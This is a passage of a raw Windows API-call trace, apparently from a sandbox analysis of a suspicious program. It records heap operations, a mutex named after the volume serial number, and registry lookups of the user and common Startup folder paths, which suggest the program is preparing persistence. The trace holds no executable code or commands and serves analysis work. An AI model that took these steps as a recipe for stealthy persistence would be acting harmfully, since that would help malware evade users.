returned 0xffffffff [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9858 | out: hHeap=0x3b0000) returned 1 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9a70 | out: hHeap=0x3b0000) returned 1 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3a78 | out: hHeap=0x3b0000) returned 1 [0066.873] GetVersion () returned 0x1db10106 [0066.873] GetCurrentProcess () returned 0xffffffff [0066.873] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x14fd8c | out: TokenHandle=0x14fd8c*=0xa0) returned 1 [0066.873] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x14fd84, TokenInformationLength=0x4, ReturnLength=0x14fd88 | out: TokenInformation=0x14fd84, ReturnLength=0x14fd88) returned 1 [0066.873] CloseHandle (hObject=0xa0) returned 1 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c3a78 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3c9858 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3c9a70 [0066.873] GetProcessHeap () returned 0x3b0000 [0066.874] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9858 | out: hHeap=0x3b0000) returned 1 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9a70 | out: hHeap=0x3b0000) returned 1 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c3ac8 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c3af0 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c3b18 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3c9858 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9858 | out: hHeap=0x3b0000) returned 1 [0066.874] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c3af0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3b18 | out: hHeap=0x3b0000) returned 1 [0066.874] GetProcessHeap () returned 0x3b0000 [0066.874] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3ac8 | out: hHeap=0x3b0000) returned 1 [0066.874] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd44*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3af0 | out: hHeap=0x3b0000) returned 1 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0x3c9858 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x26) returned 0x3c9890 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c9890, Size=0x4a) returned 0x3c9890 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9858 | out: hHeap=0x3b0000) returned 1 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9890 | out: hHeap=0x3b0000) returned 1 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0x3c3af0 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0x3c3b18 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.875] GetProcessHeap () returned 0x3b0000 [0066.876] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca058 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca058 | out: hHeap=0x3b0000) returned 1 [0066.876] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.876] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd2c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9898 | out: hHeap=0x3b0000) returned 1 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c3e50 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c3e98 [0066.876] GetProcessHeap () returned 0x3b0000 [0066.876] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c3e98, Size=0x72) returned 0x3bf858 [0066.876] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0066.876] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0066.876] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3e50 | out: hHeap=0x3b0000) returned 1 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf858 | out: hHeap=0x3b0000) returned 1 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca058 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca058 | out: hHeap=0x3b0000) returned 1 [0066.877] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.877] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9898 | out: hHeap=0x3b0000) returned 1 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c3e50 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c3e98 [0066.877] GetProcessHeap () returned 0x3b0000 [0066.878] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c3e98, Size=0x72) returned 0x3bf858 [0066.878] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xa4 [0066.878] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0066.878] CloseHandle (hObject=0xa4) returned 1 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3e50 | out: hHeap=0x3b0000) returned 1 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf858 | out: hHeap=0x3b0000) returned 1 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca058 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca058 | out: hHeap=0x3b0000) returned 1 [0066.878] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.878] GetProcessHeap () returned 0x3b0000 [0066.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.878] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd4c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd4c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9898 | out: hHeap=0x3b0000) returned 1 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x60) returned 0x3ca058 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca0c0 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca0c0 | out: hHeap=0x3b0000) returned 1 [0066.879] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x3c9898, nSize=0xf | out: lpDst="") returned 0x2c [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.879] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c9898, Size=0x3a) returned 0x3c3e50 [0066.879] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0x3c3e98 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca0c0 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca0c0 | out: hHeap=0x3b0000) returned 1 [0066.880] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x3c3e50, nSize=0x1d | out: lpDst="") returned 0x2c [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3e98 | out: hHeap=0x3b0000) returned 1 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c3e50, Size=0x72) returned 0x3bf858 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0x3bf8d8 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca0c0 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca0c0 | out: hHeap=0x3b0000) returned 1 [0066.880] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x3bf858, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf8d8 | out: hHeap=0x3b0000) returned 1 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c3e50 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3e) returned 0x3c3e98 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0x3c3ee0 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca0c0 [0066.880] GetProcessHeap () returned 0x3b0000 [0066.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3c1648 [0066.880] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.881] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3c3ee0, lpcbData=0x14fc70*=0x3e | out: lpType=0x14fc68*=0x2, lpData=0x3c3ee0*=0x2f, lpcbData=0x14fc70*=0x98) returned 0xea [0066.881] RegCloseKey (hKey=0xa8) returned 0x0 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca0c0 | out: hHeap=0x3b0000) returned 1 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3ee0 | out: hHeap=0x3b0000) returned 1 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c3e98, Size=0x7a) returned 0x3ca0c0 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7a) returned 0x3ca148 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca1d0 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3c1648 [0066.881] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.881] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3ca148, lpcbData=0x14fc70*=0x7a | out: lpType=0x14fc68*=0x2, lpData=0x3ca148*=0xc4, lpcbData=0x14fc70*=0x98) returned 0xea [0066.881] RegCloseKey (hKey=0xa8) returned 0x0 [0066.881] GetProcessHeap () returned 0x3b0000 [0066.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca1d0 | out: hHeap=0x3b0000) returned 1 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca148 | out: hHeap=0x3b0000) returned 1 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3ca0c0, Size=0xf2) returned 0x3ca0c0 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf2) returned 0x3ca1c0 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca2c0 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3c1648 [0066.882] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.882] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3ca1c0, lpcbData=0x14fc70*=0xf2 | out: lpType=0x14fc68*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x14fc70*=0x98) returned 0x0 [0066.882] RegCloseKey (hKey=0xa8) returned 0x0 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.882] GetProcessHeap () returned 0x3b0000 [0066.882] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9870 [0066.882] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.882] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3ca258, lpcbData=0x14fc70*=0x5a | out: lpType=0x14fc68*=0x0, lpData=0x3ca258*=0x73, lpcbData=0x14fc70*=0x5a) returned 0x2 [0066.882] RegCloseKey (hKey=0xa8) returned 0x0 [0066.883] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc80 | out: phkResult=0x14fc80*=0xa8) returned 0x0 [0066.883] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x14fc7c, lpData=0x3ca258, lpcbData=0x14fc84*=0x5a | out: lpType=0x14fc7c*=0x2, lpData=0x3ca258*=0x73, lpcbData=0x14fc84*=0x78) returned 0xea [0066.883] RegCloseKey (hKey=0xa8) returned 0x0 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca2c0 | out: hHeap=0x3b0000) returned 1 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca1c0 | out: hHeap=0x3b0000) returned 1 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3ca0c0, Size=0x1e2) returned 0x3ca0c0 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e2) returned 0x3ca2b0 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca4a0 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.883] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3c1648 [0066.883] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.883] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3ca2b0, lpcbData=0x14fc70*=0x1e2 | out: lpType=0x14fc68*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x14fc70*=0x98) returned 0x0 [0066.883] RegCloseKey (hKey=0xa8) returned 0x0 [0066.883] GetProcessHeap () returned 0x3b0000 [0066.884] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9870 [0066.884] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc6c | out: phkResult=0x14fc6c*=0xa8) returned 0x0 [0066.884] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x14fc68, lpData=0x3ca348, lpcbData=0x14fc70*=0x14a | out: lpType=0x14fc68*=0x0, lpData=0x3ca348*=0x73, lpcbData=0x14fc70*=0x14a) returned 0x2 [0066.884] RegCloseKey (hKey=0xa8) returned 0x0 [0066.884] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x14fc80 | out: phkResult=0x14fc80*=0xa8) returned 0x0 [0066.884] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x14fc7c, lpData=0x3ca348, lpcbData=0x14fc84*=0x14a | out: lpType=0x14fc7c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x14fc84*=0x78) returned 0x0 [0066.884] RegCloseKey (hKey=0xa8) returned 0x0 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca4a0 | out: hHeap=0x3b0000) returned 1 [0066.884] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x3ca0c0, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca2b0 | out: hHeap=0x3b0000) returned 1 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3e50 | out: hHeap=0x3b0000) returned 1 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3ca2b0 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3ca4c8 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3ca6e0 [0066.884] GetProcessHeap () returned 0x3b0000 [0066.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, 